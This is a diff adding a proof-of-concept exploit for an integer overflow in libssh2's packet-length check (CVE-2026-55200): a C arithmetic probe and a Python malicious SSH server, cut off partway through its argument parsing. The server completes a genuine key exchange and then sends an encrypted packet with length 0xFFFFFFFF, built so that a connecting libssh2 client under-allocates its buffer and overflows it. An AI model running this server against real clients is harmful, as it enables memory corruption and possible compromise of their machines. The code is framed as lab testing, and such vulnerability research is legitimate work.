diff --git a/libssh2-cve-2026-55200-poc/poc/cve_2026_55200_probe.c b/libssh2-cve-2026-55200-poc/poc/cve_2026_55200_probe.c new file mode 100644 index 0000000..f2269c5 --- /dev/null +++ b/libssh2-cve-2026-55200-poc/poc/cve_2026_55200_probe.c @@ -0,0 +1,358 @@ +#include +#include +#include +#include +#include +#include +#include + +#define LIBSSH2_PACKET_MAXPAYLOAD 35000u + +enum { + POC_OK = 0, + POC_ERROR_DECRYPT = -1, + POC_ERROR_OUT_OF_BOUNDARY = -2 +}; + +struct calc_result { + uint32_t packet_length; + uint32_t total32; + uint64_t mathematical_total; + size_t native_total; + size_t allocation_length; + int rc; +}; + +static const char *rc_name(int rc) +{ + switch(rc) { + case POC_OK: + return "accepted"; + case POC_ERROR_DECRYPT: + return "rejected: packet_length < 1"; + case POC_ERROR_OUT_OF_BOUNDARY: + return "rejected: out of boundary"; + default: + return "rejected: unknown error"; + } +} + +static int parse_u32(const char *text, uint32_t *out) +{ + char *end = NULL; + unsigned long long parsed; + + errno = 0; + parsed = strtoull(text, &end, 0); + if(errno || !end || *end != '\0' || parsed > UINT32_MAX) { + return -1; + } + + *out = (uint32_t)parsed; + return 0; +} + +static void clear_result(struct calc_result *r, uint32_t packet_length, + uint32_t mac_len, uint32_t auth_len) +{ + memset(r, 0, sizeof(*r)); + r->packet_length = packet_length; + r->mathematical_total = 4ull + packet_length + mac_len + auth_len; +} + +static int vulnerable32(uint32_t packet_length, uint32_t mac_len, + uint32_t auth_len, struct calc_result *r) +{ + uint32_t total = 4u; + + clear_result(r, packet_length, mac_len, auth_len); + + if(packet_length < 1u) { + r->rc = POC_ERROR_DECRYPT; + return r->rc; + } + + total += packet_length + mac_len + auth_len; + r->total32 = total; + + if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) { + r->rc = POC_ERROR_OUT_OF_BOUNDARY; + return r->rc; + } + + r->allocation_length = (size_t)total; + r->rc = POC_OK; + return r->rc; +} + +static int fixed32(uint32_t packet_length, uint32_t mac_len, + uint32_t auth_len, struct calc_result *r) +{ + uint32_t total = 4u; + + clear_result(r, packet_length, mac_len, auth_len); + + if(packet_length < 1u) { + r->rc = POC_ERROR_DECRYPT; + return r->rc; + } + + if(packet_length > LIBSSH2_PACKET_MAXPAYLOAD) { + r->rc = POC_ERROR_OUT_OF_BOUNDARY; + return r->rc; + } + + total += packet_length + mac_len + auth_len; + r->total32 = total; + + if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) { + r->rc = POC_ERROR_OUT_OF_BOUNDARY; + return r->rc; + } + + r->allocation_length = (size_t)total; + r->rc = POC_OK; + return r->rc; +} + +static int native_unpatched(uint32_t packet_length, uint32_t mac_len, + uint32_t auth_len, struct calc_result *r) +{ + size_t total = 4u; + + clear_result(r, packet_length, mac_len, auth_len); + + if(packet_length < 1u) { + r->rc = POC_ERROR_DECRYPT; + return r->rc; + } + + total += packet_length + mac_len + auth_len; + r->native_total = total; + + if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) { + r->rc = POC_ERROR_OUT_OF_BOUNDARY; + return r->rc; + } + + r->allocation_length = total; + r->rc = POC_OK; + return r->rc; +} + +static int native_fixed(uint32_t packet_length, uint32_t mac_len, + uint32_t auth_len, struct calc_result *r) +{ + size_t total = 4u; + + clear_result(r, packet_length, mac_len, auth_len); + + if(packet_length < 1u) { + r->rc = POC_ERROR_DECRYPT; + return r->rc; + } + + if(packet_length > LIBSSH2_PACKET_MAXPAYLOAD) { + r->rc = POC_ERROR_OUT_OF_BOUNDARY; + return r->rc; + } + + total += packet_length + mac_len + auth_len; + r->native_total = total; + + if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) { + r->rc = POC_ERROR_OUT_OF_BOUNDARY; + return r->rc; + } + + r->allocation_length = total; + r->rc = POC_OK; + return r->rc; +} + +static uint64_t fullpacket_style_length(uint32_t packet_length) +{ + if(packet_length == 0u) { + return 0u; + } + return (uint64_t)(packet_length - 1u); +} + +static int run_benign(uint32_t packet_length, uint32_t mac_len, + uint32_t auth_len) +{ + struct calc_result vulnerable; + struct calc_result fixed; + struct calc_result native; + uint64_t copy_len; + uint64_t gap = 0u; + int pass; + + vulnerable32(packet_length, mac_len, auth_len, &vulnerable); + fixed32(packet_length, mac_len, auth_len, &fixed); + native_unpatched(packet_length, mac_len, auth_len, &native); + + copy_len = fullpacket_style_length(packet_length); + if(vulnerable.rc == POC_OK && copy_len > vulnerable.allocation_length) { + gap = copy_len - (uint64_t)vulnerable.allocation_length; + } + + pass = vulnerable.rc == POC_OK && + vulnerable.allocation_length == (size_t)(uint32_t)vulnerable.mathematical_total && + vulnerable.packet_length > LIBSSH2_PACKET_MAXPAYLOAD && + copy_len > vulnerable.allocation_length && + fixed.rc == POC_ERROR_OUT_OF_BOUNDARY; + + printf("benign CVE-2026-55200 proof\n"); + printf("build_size_t_bytes=%zu\n", sizeof(size_t)); + printf("build_size_t_bits=%zu\n", sizeof(size_t) * (size_t)CHAR_BIT); + printf("packet_length=0x%08" PRIx32 " (%" PRIu32 ")\n", + packet_length, packet_length); + printf("mac_len=%" PRIu32 "\n", mac_len); + printf("auth_len=%" PRIu32 "\n", auth_len); + printf("mathematical_total=%" PRIu64 "\n", + vulnerable.mathematical_total); + printf("vulnerable32_decision=%s\n", rc_name(vulnerable.rc)); + printf("vulnerable32_total=%" PRIu32 "\n", vulnerable.total32); + printf("vulnerable32_allocation=%zu\n", vulnerable.allocation_length); + printf("fullpacket_style_length=%" PRIu64 "\n", copy_len); + printf("allocation_gap=%" PRIu64 "\n", gap); + printf("fixed32_decision=%s\n", rc_name(fixed.rc)); + printf("native_unpatched_decision=%s\n", rc_name(native.rc)); + printf("native_unpatched_total=%zu\n", native.native_total); + if(native.rc == POC_OK && sizeof(size_t) >= 8u) { + printf("native_note=source-shaped integer expression wraps before assignment into 64-bit size_t\n"); + } + else if(sizeof(size_t) >= 8u && native.rc == POC_ERROR_OUT_OF_BOUNDARY) { + printf("native_note=64-bit native arithmetic rejects when each operand is widened before addition\n"); + } + else if(sizeof(size_t) < 8u && native.rc == POC_OK) { + printf("native_note=32-bit native arithmetic reaches the wrapped allocation state\n"); + } + printf("result=%s\n", pass ? "PASS" : "FAIL"); + + return pass ? 0 : 1; +} + +static int run_native(uint32_t packet_length, uint32_t mac_len, + uint32_t auth_len) +{ + struct calc_result unpatched; + struct calc_result fixed; + + native_unpatched(packet_length, mac_len, auth_len, &unpatched); + native_fixed(packet_length, mac_len, auth_len, &fixed); + + printf("native-size_t check\n"); + printf("build_size_t_bytes=%zu\n", sizeof(size_t)); + printf("build_size_t_bits=%zu\n", sizeof(size_t) * (size_t)CHAR_BIT); + printf("unpatched_decision=%s\n", rc_name(unpatched.rc)); + printf("unpatched_total=%zu\n", unpatched.native_total); + printf("unpatched_allocation=%zu\n", unpatched.allocation_length); + printf("fixed_decision=%s\n", rc_name(fixed.rc)); + printf("fixed_total=%zu\n", fixed.native_total); + printf("fixed_allocation=%zu\n", fixed.allocation_length); + return 0; +} + +static int run_check(uint32_t packet_length, uint32_t mac_len, + uint32_t auth_len) +{ + struct calc_result vulnerable; + struct calc_result fixed; + struct calc_result native; + + vulnerable32(packet_length, mac_len, auth_len, &vulnerable); + fixed32(packet_length, mac_len, auth_len, &fixed); + native_unpatched(packet_length, mac_len, auth_len, &native); + + printf("detailed CVE-2026-55200 arithmetic check\n"); + printf("build_size_t_bytes=%zu\n", sizeof(size_t)); + printf("build_size_t_bits=%zu\n", sizeof(size_t) * (size_t)CHAR_BIT); + printf("packet_length=0x%08" PRIx32 " (%" PRIu32 ")\n", + packet_length, packet_length); + printf("mac_len=%" PRIu32 "\n", mac_len); + printf("auth_len=%" PRIu32 "\n", auth_len); + printf("mathematical_total=%" PRIu64 "\n", + vulnerable.mathematical_total); + printf("vulnerable32_total=%" PRIu32 "\n", vulnerable.total32); + printf("vulnerable32_decision=%s\n", rc_name(vulnerable.rc)); + printf("vulnerable32_allocation=%zu\n", vulnerable.allocation_length); + printf("fullpacket_style_length=%" PRIu64 "\n", + fullpacket_style_length(packet_length)); + printf("fixed32_decision=%s\n", rc_name(fixed.rc)); + printf("native_unpatched_decision=%s\n", rc_name(native.rc)); + printf("native_unpatched_total=%zu\n", native.native_total); + return 0; +} + +static void usage(const char *argv0) +{ + printf("usage: %s [--benign|--check|--native] [options]\n", argv0); + printf("default mode: --benign\n"); + printf("options:\n"); + printf(" --packet-length N default 0xffffffff\n"); + printf(" --mac-len N default 0\n"); + printf(" --auth-len N default 16\n"); +} + +int main(int argc, char **argv) +{ + enum { + MODE_BENIGN, + MODE_CHECK, + MODE_NATIVE + } mode = MODE_BENIGN; + uint32_t packet_length = UINT32_MAX; + uint32_t mac_len = 0u; + uint32_t auth_len = 16u; + int i; + + for(i = 1; i < argc; i++) { + if(strcmp(argv[i], "--benign") == 0) { + mode = MODE_BENIGN; + } + else if(strcmp(argv[i], "--check") == 0) { + mode = MODE_CHECK; + } + else if(strcmp(argv[i], "--native") == 0) { + mode = MODE_NATIVE; + } + else if(strcmp(argv[i], "--packet-length") == 0 && i + 1 < argc) { + if(parse_u32(argv[++i], &packet_length)) { + fprintf(stderr, "invalid --packet-length value\n"); + return 2; + } + } + else if(strcmp(argv[i], "--mac-len") == 0 && i + 1 < argc) { + if(parse_u32(argv[++i], &mac_len)) { + fprintf(stderr, "invalid --mac-len value\n"); + return 2; + } + } + else if(strcmp(argv[i], "--auth-len") == 0 && i + 1 < argc) { + if(parse_u32(argv[++i], &auth_len)) { + fprintf(stderr, "invalid --auth-len value\n"); + return 2; + } + } + else if(strcmp(argv[i], "--help") == 0 || strcmp(argv[i], "-h") == 0) { + usage(argv[0]); + return 0; + } + else { + usage(argv[0]); + return 2; + } + } + + if(mode == MODE_BENIGN) { + return run_benign(packet_length, mac_len, auth_len); + } + + if(mode == MODE_NATIVE) { + return run_native(packet_length, mac_len, auth_len); + } + + return run_check(packet_length, mac_len, auth_len); +} diff --git a/libssh2-cve-2026-55200-poc/poc/libpwn_cve_2026_55200_server.py b/libssh2-cve-2026-55200-poc/poc/libpwn_cve_2026_55200_server.py new file mode 100644 index 0000000..270f322 --- /dev/null +++ b/libssh2-cve-2026-55200-poc/poc/libpwn_cve_2026_55200_server.py @@ -0,0 +1,633 @@ +#!/usr/bin/env python3 +import argparse +import hashlib +import os +import queue +import socket +import struct +import sys +import threading +import time +import traceback +from dataclasses import dataclass + +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import padding, rsa, x25519 + + +HOST = "" +PORT = 0 + +SERVER_IDENT = b"SSH-2.0-libpwn-cve-2026-55200" +LIBSSH2_PACKET_MAXPAYLOAD = 35000 +DEFAULT_PACKET_LENGTH = 0xFFFFFFFF +DEFAULT_AUTH_LEN = 16 +DEFAULT_MAC_LEN = 0 +CLIENT_IDENT = b"SSH-2.0-libpwn-local-libssh2-mock" + +KEX_ALGORITHMS = [ + "curve25519-sha256", + "curve25519-sha256@libssh.org", +] +HOSTKEY_ALGORITHMS = [ + "rsa-sha2-256", + "ssh-rsa", +] +CIPHER_ALGORITHMS = [ + "chacha20-poly1305@openssh.com", +] +MAC_ALGORITHMS = [ + "hmac-sha2-256", + "hmac-sha1", +] +COMP_ALGORITHMS = [ + "none", +] + + +def u32(value): + return struct.pack(">I", value & 0xFFFFFFFF) + + +def read_exact(sock, size): + out = bytearray() + while len(out) < size: + chunk = sock.recv(size - len(out)) + if not chunk: + raise EOFError("connection closed while reading") + out += chunk + return bytes(out) + + +def ssh_string(data): + if isinstance(data, str): + data = data.encode() + return u32(len(data)) + data + + +def ssh_name_list(items): + return ssh_string(",".join(items).encode()) + + +def mpint_bytes(value): + if value == 0: + return b"" + raw = value.to_bytes((value.bit_length() + 7) // 8, "big") + if raw[0] & 0x80: + raw = b"\x00" + raw + return raw + + +def ssh_mpint(value): + return ssh_string(mpint_bytes(value)) + + +def read_ssh_string(buf, offset): + if offset + 4 > len(buf): + raise ValueError("short SSH string length") + size = struct.unpack(">I", buf[offset:offset + 4])[0] + offset += 4 + if offset + size > len(buf): + raise ValueError("short SSH string body") + return buf[offset:offset + size], offset + size + + +def split_namelist(raw): + if not raw: + return [] + return raw.decode(errors="strict").split(",") + + +def first_match(client_items, server_items, label): + for item in client_items: + if item in server_items: + return item + raise RuntimeError(f"client did not offer required {label}; got {client_items!r}") + + +def build_plain_packet(payload, block_size=8): + padding_len = (-(len(payload) + 5)) % block_size + if padding_len < 4: + padding_len += block_size + packet_length = len(payload) + 1 + padding_len + return u32(packet_length) + bytes([padding_len]) + payload + os.urandom(padding_len) + + +def parse_plain_packet(packet): + if len(packet) < 5: + raise ValueError("plain packet too short") + packet_length = struct.unpack(">I", packet[:4])[0] + padding_len = packet[4] + if packet_length + 4 != len(packet): + raise ValueError("packet length mismatch") + if padding_len + 1 > packet_length: + raise ValueError("invalid padding length") + return packet[5:4 + packet_length - padding_len] + + +def read_plain_packet(sock, max_packet=1024 * 1024): + packet_length = struct.unpack(">I", read_exact(sock, 4))[0] + if packet_length < 1 or packet_length > max_packet: + raise ValueError(f"refusing plain packet_length={packet_length}") + body = read_exact(sock, packet_length) + return parse_plain_packet(u32(packet_length) + body) + + +def send_plain_packet(sock, payload): + sock.sendall(build_plain_packet(payload)) + + +def read_ident(sock): + buf = bytearray() + while True: + ch = read_exact(sock, 1) + if ch == b"\n": + line = bytes(buf).rstrip(b"\r") + if line.startswith(b"SSH-"): + return line + buf.clear() + continue + buf += ch + if len(buf) > 4096: + raise ValueError("SSH banner line too long") + + +def build_kexinit_payload(): + payload = bytearray() + payload.append(20) + payload += os.urandom(16) + payload += ssh_name_list(KEX_ALGORITHMS) + payload += ssh_name_list(HOSTKEY_ALGORITHMS) + payload += ssh_name_list(CIPHER_ALGORITHMS) + payload += ssh_name_list(CIPHER_ALGORITHMS) + payload += ssh_name_list(MAC_ALGORITHMS) + payload += ssh_name_list(MAC_ALGORITHMS) + payload += ssh_name_list(COMP_ALGORITHMS) + payload += ssh_name_list(COMP_ALGORITHMS) + payload += ssh_string(b"") + payload += ssh_string(b"") + payload += b"\x00" + payload += u32(0) + return bytes(payload) + + +def parse_kexinit_payload(payload): + if not payload or payload[0] != 20: + raise ValueError("expected SSH_MSG_KEXINIT") + offset = 17 + names = [] + for _ in range(10): + raw, offset = read_ssh_string(payload, offset) + names.append(split_namelist(raw)) + return { + "kex": names[0], + "hostkey": names[1], + "c2s_cipher": names[2], + "s2c_cipher": names[3], + "c2s_mac": names[4], + "s2c_mac": names[5], + "c2s_comp": names[6], + "s2c_comp": names[7], + } + + +def rsa_public_blob(private_key, algorithm): + numbers = private_key.public_key().public_numbers() + return ( + ssh_string(algorithm) + + ssh_string(mpint_bytes(numbers.e)) + + ssh_string(mpint_bytes(numbers.n)) + ) + + +def sign_exchange_hash(private_key, hostkey_algorithm, exchange_hash): + if hostkey_algorithm == "rsa-sha2-256": + digest = hashes.SHA256() + elif hostkey_algorithm == "ssh-rsa": + digest = hashes.SHA1() + else: + raise ValueError(f"unsupported hostkey signature algorithm {hostkey_algorithm}") + sig = private_key.sign(exchange_hash, padding.PKCS1v15(), digest) + return ssh_string(hostkey_algorithm) + ssh_string(sig) + + +def exchange_hash(client_ident, server_ident, client_kexinit, server_kexinit, + hostkey_blob, client_pub, server_pub, shared_int): + h = bytearray() + h += ssh_string(client_ident) + h += ssh_string(server_ident) + h += ssh_string(client_kexinit) + h += ssh_string(server_kexinit) + h += ssh_string(hostkey_blob) + h += ssh_string(client_pub) + h += ssh_string(server_pub) + h += ssh_mpint(shared_int) + return hashlib.sha256(bytes(h)).digest() + + +def derive_key(shared_int, exchange_hash_value, session_id, letter, length): + seed = ssh_mpint(shared_int) + exchange_hash_value + letter + session_id + out = hashlib.sha256(seed).digest() + while len(out) < length: + out += hashlib.sha256(ssh_mpint(shared_int) + exchange_hash_value + out).digest() + return out[:length] + + +def rotl32(value, shift): + return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift)) + + +def quarter_round(state, a, b, c, d): + state[a] = (state[a] + state[b]) & 0xFFFFFFFF + state[d] = rotl32(state[d] ^ state[a], 16) + state[c] = (state[c] + state[d]) & 0xFFFFFFFF + state[b] = rotl32(state[b] ^ state[c], 12) + state[a] = (state[a] + state[b]) & 0xFFFFFFFF + state[d] = rotl32(state[d] ^ state[a], 8) + state[c] = (state[c] + state[d]) & 0xFFFFFFFF + state[b] = rotl32(state[b] ^ state[c], 7) + + +def chacha20_block(key, counter, nonce8): + constants = b"expand 32-byte k" + state = [ + int.from_bytes(constants[i:i + 4], "little") for i in range(0, 16, 4) + ] + state += [ + int.from_bytes(key[i:i + 4], "little") for i in range(0, 32, 4) + ] + state += [ + counter & 0xFFFFFFFF, + (counter >> 32) & 0xFFFFFFFF, + int.from_bytes(nonce8[:4], "little"), + int.from_bytes(nonce8[4:], "little"), + ] + working = state[:] + for _ in range(10): + quarter_round(working, 0, 4, 8, 12) + quarter_round(working, 1, 5, 9, 13) + quarter_round(working, 2, 6, 10, 14) + quarter_round(working, 3, 7, 11, 15) + quarter_round(working, 0, 5, 10, 15) + quarter_round(working, 1, 6, 11, 12) + quarter_round(working, 2, 7, 8, 13) + quarter_round(working, 3, 4, 9, 14) + return b"".join( + ((working[i] + state[i]) & 0xFFFFFFFF).to_bytes(4, "little") + for i in range(16) + ) + + +def chacha20_xor(key, counter, nonce8, data): + out = bytearray() + block_counter = counter + for offset in range(0, len(data), 64): + stream = chacha20_block(key, block_counter, nonce8) + chunk = data[offset:offset + 64] + out += bytes(a ^ b for a, b in zip(chunk, stream)) + block_counter = (block_counter + 1) & 0xFFFFFFFFFFFFFFFF + return bytes(out) + + +def poly1305_mac(message, key): + r = int.from_bytes(key[:16], "little") + r &= 0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF + s = int.from_bytes(key[16:], "little") + p = (1 << 130) - 5 + acc = 0 + for offset in range(0, len(message), 16): + block = message[offset:offset + 16] + n = int.from_bytes(block + b"\x01", "little") + acc = ((acc + n) * r) % p + return ((acc + s) & ((1 << 128) - 1)).to_bytes(16, "little") + + +def chachapoly_encrypt(key64, seqno, plaintext_without_tag): + if len(key64) != 64: + raise ValueError("chacha20-poly1305@openssh.com requires a 64-byte key") + if len(plaintext_without_tag) < 4: + raise ValueError("packet needs a 4-byte SSH packet_length") + seq = seqno.to_bytes(8, "big") + main_key = key64[:32] + header_key = key64[32:] + encrypted_len = chacha20_xor(header_key, 0, seq, plaintext_without_tag[:4]) + encrypted_body = chacha20_xor(main_key, 1, seq, plaintext_without_tag[4:]) + encrypted = encrypted_len + encrypted_body + poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32] + return encrypted + poly1305_mac(encrypted, poly_key) + + +def chachapoly_decrypt(key64, seqno, encrypted_with_tag): + if len(encrypted_with_tag) < 20: + raise ValueError("encrypted packet too short") + seq = seqno.to_bytes(8, "big") + main_key = key64[:32] + header_key = key64[32:] + encrypted = encrypted_with_tag[:-16] + tag = encrypted_with_tag[-16:] + poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32] + expected = poly1305_mac(encrypted, poly_key) + if expected != tag: + raise ValueError("poly1305 tag mismatch") + packet_len = chacha20_xor(header_key, 0, seq, encrypted[:4]) + body = chacha20_xor(main_key, 1, seq, encrypted[4:]) + return packet_len + body + + +def build_malformed_plain(packet_length, body_len): + if body_len < 1: + raise ValueError("body_len must be at least 1 so padding_length exists") + return u32(packet_length) + bytes([4]) + b"A" * (body_len - 1) + + +def build_malformed_wire(key64, seqno, packet_length, body_len, filler_len): + plain = build_malformed_plain(packet_length, body_len) + return chachapoly_encrypt(key64, seqno, plain) + (b"B" * filler_len) + + +@dataclass +class ArithmeticResult: + accepted: bool + total32: int + allocation: int + fixed_rejects: bool + fullpacket_copy_len: int + gap: int + + +def model_vulnerable_c_expression(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN): + rhs32 = (packet_length + mac_len + auth_len) & 0xFFFFFFFF + total32 = (4 + rhs32) & 0xFFFFFFFF + accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD + fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD + copy_len = (packet_length - 1) & 0xFFFFFFFF + gap = copy_len - total32 if accepted and copy_len > total32 else 0 + return ArithmeticResult(accepted, total32, total32 if accepted else 0, + fixed_rejects, copy_len, gap) + + +def model_vulnerable32(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN): + total32 = (4 + packet_length + mac_len + auth_len) & 0xFFFFFFFF + accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD + fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD + copy_len = (packet_length - 1) & 0xFFFFFFFF + gap = copy_len - total32 if accepted and copy_len > total32 else 0 + return ArithmeticResult(accepted, total32, total32 if accepted else 0, + fixed_rejects, copy_len, gap) + + +class MiniSSHExploitServer: + def __init__(self, args): + self.args = args + self.host_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + + def serve_once(self): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener: + listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + listener.bind((self.args.listen_host, self.args.listen_port)) + listener.listen(1) + actual_host, actual_port = listener.getsockname() + print(f"[+] listening on {actual_host}:{actual_port}") + conn, addr = listener.accept() + with conn: + conn.settimeout(self.args.timeout) + print(f"[+] client connected from {addr[0]}:{addr[1]}") + self.handle_client(conn) + + def handle_client(self, conn): + seq_out = 0 + seq_in = 0 + + conn.sendall(SERVER_IDENT + b"\r\n") + client_ident = read_ident(conn) + print(f"[+] client ident: {client_ident.decode(errors='replace')}") + + client_kexinit = read_plain_packet(conn) + seq_in += 1 + client_lists = parse_kexinit_payload(client_kexinit) + + chosen_kex = first_match(client_lists["kex"], KEX_ALGORITHMS, "kex") + chosen_hostkey = first_match(client_lists["hostkey"], HOSTKEY_ALGORITHMS, "hostkey") + first_match(client_lists["s2c_cipher"], CIPHER_ALGORITHMS, "server-to-client cipher") + first_match(client_lists["c2s_cipher"], CIPHER_ALGORITHMS, "client-to-server cipher") + first_match(client_lists["s2c_mac"], MAC_ALGORITHMS, "server-to-client mac") + first_match(client_lists["c2s_mac"], MAC_ALGORITHMS, "client-to-server mac") + first_match(client_lists["s2c_comp"], COMP_ALGORITHMS, "server-to-client compression") + first_match(client_lists["c2s_comp"], COMP_ALGORITHMS, "client-to-server compression") + print(f"[+] negotiated {chosen_kex} / {chosen_hostkey} / chacha20-poly1305@openssh.com") + + server_kexinit = build_kexinit_payload() + send_plain_packet(conn, server_kexinit) + seq_out += 1 + + init_payload = read_plain_packet(conn) + seq_in += 1 + if not init_payload or init_payload[0] != 30: + raise RuntimeError(f"expected SSH_MSG_KEX_ECDH_INIT, got {init_payload[:1]!r}") + client_pub, offset = read_ssh_string(init_payload, 1) + if offset != len(init_payload) or len(client_pub) != 32: + raise RuntimeError("invalid curve25519 client public key") + + server_private = x25519.X25519PrivateKey.generate() + server_pub = server_private.public_key().public_bytes( + serialization.Encoding.Raw, + serialization.PublicFormat.Raw, + ) + shared = server_private.exchange(x25519.X25519PublicKey.from_public_bytes(client_pub)) + if shared == b"\x00" * 32: + raise RuntimeError("invalid all-zero curve25519 shared secret") + shared_int = int.from_bytes(shared, "big") + + hostkey_blob = rsa_public_blob(self.host_key, chosen_hostkey) + h = exchange_hash(client_ident, SERVER_IDENT, client_kexinit, server_kexinit, + hostkey_blob, client_pub, server_pub, shared_int) + session_id = h + signature = sign_exchange_hash(self.host_key, chosen_hostkey, h) + + reply = b"\x1f" + ssh_string(hostkey_blob) + ssh_string(server_pub) + ssh_string(signature) + send_plain_packet(conn, reply) + seq_out += 1 + + send_plain_packet(conn, b"\x15") + seq_out += 1 + print("[+] sent SSH_MSG_NEWKEYS") + + try: + newkeys = read_plain_packet(conn) + seq_in += 1 + if newkeys != b"\x15": + print(f"[!] expected client NEWKEYS, got {newkeys[:1]!r}; continuing") + else: + print("[+] received client SSH_MSG_NEWKEYS") + except Exception as exc: + print(f"[!] did not read client NEWKEYS before trigger: {exc}") + + key_s2c = derive_key(shared_int, h, session_id, b"D", 64) + trigger_seq = seq_out + wire = build_malformed_wire( + key_s2c, + trigger_seq, + self.args.packet_length, + self.args.body_len, + self.args.filler_len, + ) + conn.sendall(wire) + print(f"[+] sent malformed chacha/poly1305 trigger at server seq={trigger_seq}") + print(f"[+] trigger bytes={len(wire)} packet_length=0x{self.args.packet_length:08x}") + time.sleep(self.args.hold_open) + + +def self_test(args): + key = bytes(range(64)) + seqno = 3 + wire = build_malformed_wire(key, seqno, args.packet_length, args.body_len, args.filler_len) + encrypted_part = wire[:-args.filler_len] if args.filler_len else wire + decrypted = chachapoly_decrypt(key, seqno, encrypted_part) + decoded_len = struct.unpack(">I", decrypted[:4])[0] + arith = model_vulnerable_c_expression(args.packet_length, DEFAULT_MAC_LEN, DEFAULT_AUTH_LEN) + + print("[self-test] chacha20-poly1305@openssh.com packet generator") + print(f"packet_length=0x{decoded_len:08x} ({decoded_len})") + print(f"encrypted_fragment_len={len(encrypted_part)}") + print(f"filler_len={args.filler_len}") + print(f"body_len={args.body_len}") + print(f"vulnerable_c_expression_accepted={arith.accepted}") + print(f"vulnerable_c_expression_allocation={arith.allocation}") + print(f"fixed_rejects={arith.fixed_rejects}") + print(f"fullpacket_style_length={arith.fullpacket_copy_len}") + print(f"allocation_gap={arith.gap}") + + if decoded_len != args.packet_length: + raise SystemExit("[self-test] FAIL: decrypted packet_length mismatch") + if not arith.accepted or arith.allocation != 19: + raise SystemExit("[self-test] FAIL: arithmetic did not reach wrapped allocation=19") + if not arith.fixed_rejects: + raise SystemExit("[self-test] FAIL: fixed model did not reject oversized length") + print("[self-test] PASS") + + +def loopback_client(client_sock, args): + client_sock.settimeout(args.timeout) + server_ident = read_ident(client_sock) + if server_ident != SERVER_IDENT: + raise RuntimeError(f"unexpected server ident {server_ident!r}") + client_sock.sendall(CLIENT_IDENT + b"\r\n") + + client_kexinit = build_kexinit_payload() + send_plain_packet(client_sock, client_kexinit) + + server_kexinit = read_plain_packet(client_sock) + server_lists = parse_kexinit_payload(server_kexinit) + first_match(server_lists["kex"], KEX_ALGORITHMS, "server kex") + first_match(server_lists["hostkey"], HOSTKEY_ALGORITHMS, "server hostkey") + first_match(server_lists["s2c_cipher"], CIPHER_ALGORITHMS, "server cipher") + + client_private = x25519.X25519PrivateKey.generate() + client_pub = client_private.public_key().public_bytes( + serialization.Encoding.Raw, + serialization.PublicFormat.Raw, + ) + send_plain_packet(client_sock, b"\x1e" + ssh_string(client_pub)) + + reply = read_plain_packet(client_sock) + if not reply or reply[0] != 31: + raise RuntimeError(f"expected SSH_MSG_KEX_ECDH_REPLY, got {reply[:1]!r}") + hostkey_blob, offset = read_ssh_string(reply, 1) + server_pub, offset = read_ssh_string(reply, offset) + _signature, offset = read_ssh_string(reply, offset) + if offset != len(reply): + raise RuntimeError("trailing data in KEX_ECDH_REPLY") + + shared = client_private.exchange(x25519.X25519PublicKey.from_public_bytes(server_pub)) + shared_int = int.from_bytes(shared, "big") + h = exchange_hash(CLIENT_IDENT, SERVER_IDENT, client_kexinit, server_kexinit, + hostkey_blob, client_pub, server_pub, shared_int) + key_s2c = derive_key(shared_int, h, h, b"D", 64) + + newkeys = read_plain_packet(client_sock) + if newkeys != b"\x15": + raise RuntimeError(f"expected server NEWKEYS, got {newkeys[:1]!r}") + send_plain_packet(client_sock, b"\x15") + + encrypted_len = 4 + args.body_len + 16 + encrypted = read_exact(client_sock, encrypted_len) + if args.filler_len: + read_exact(client_sock, args.filler_len) + decrypted = chachapoly_decrypt(key_s2c, 3, encrypted) + decoded_len = struct.unpack(">I", decrypted[:4])[0] + if decoded_len != args.packet_length: + raise RuntimeError("loopback decrypted packet_length mismatch") + return decoded_len, encrypted_len + + +def loopback_test(args): + left, right = socket.socketpair() + result_queue = queue.Queue() + + def server_thread(): + try: + with left: + left.settimeout(args.timeout) + MiniSSHExploitServer(args).handle_client(left) + result_queue.put(None) + except Exception as exc: + result_queue.put(exc) + + thread = threading.Thread(target=server_thread, daemon=True) + thread.start() + try: + with right: + decoded_len, encrypted_len = loopback_client(right, args) + finally: + thread.join(args.timeout + args.hold_open + 1) + + if thread.is_alive(): + raise SystemExit("[loopback-test] FAIL: server thread did not exit") + server_error = result_queue.get_nowait() + if server_error is not None: + raise server_error + + print("[loopback-test] minimal SSH handshake/key-derivation path") + print(f"decrypted_trigger_packet_length=0x{decoded_len:08x} ({decoded_len})") + print(f"encrypted_trigger_fragment_len={encrypted_len}") + print("[loopback-test] PASS") + + +def main(): + parser = argparse.ArgumentParser( + description="Minimal malicious SSH server/trigger for HTB-style libssh2 CVE-2026-55200 testing." + ) + parser.add_argument("--self-test", action="store_true", help="verify local packet crypto and CVE arithmetic") + parser.add_argument("--loopback-test", action="store_true", help="verify the local SSH handshake and encrypted trigger path") + parser.add_argument("--serve", action="store_true", help="listen for one libssh2 client and send the trigger") + parser.add_argument("--listen-host", default=HOST, help="listen IP/interface, e.g. 0.0.0.0") + parser.add_argument("--listen-port", type=int, default=PORT, help="listen port, e.g. 2222") + parser.add_argument("--packet-length", type=lambda x: int(x, 0), default=DEFAULT_PACKET_LENGTH) + parser.add_argument("--body-len", type=int, default=8, help="truncated encrypted body length after the 4-byte length field") + parser.add_argument("--filler-len", type=int, default=64, help="extra bytes after the valid encrypted fragment/tag") + parser.add_argument("--timeout", type=float, default=10.0) + parser.add_argument("--hold-open", type=float, default=1.0) + 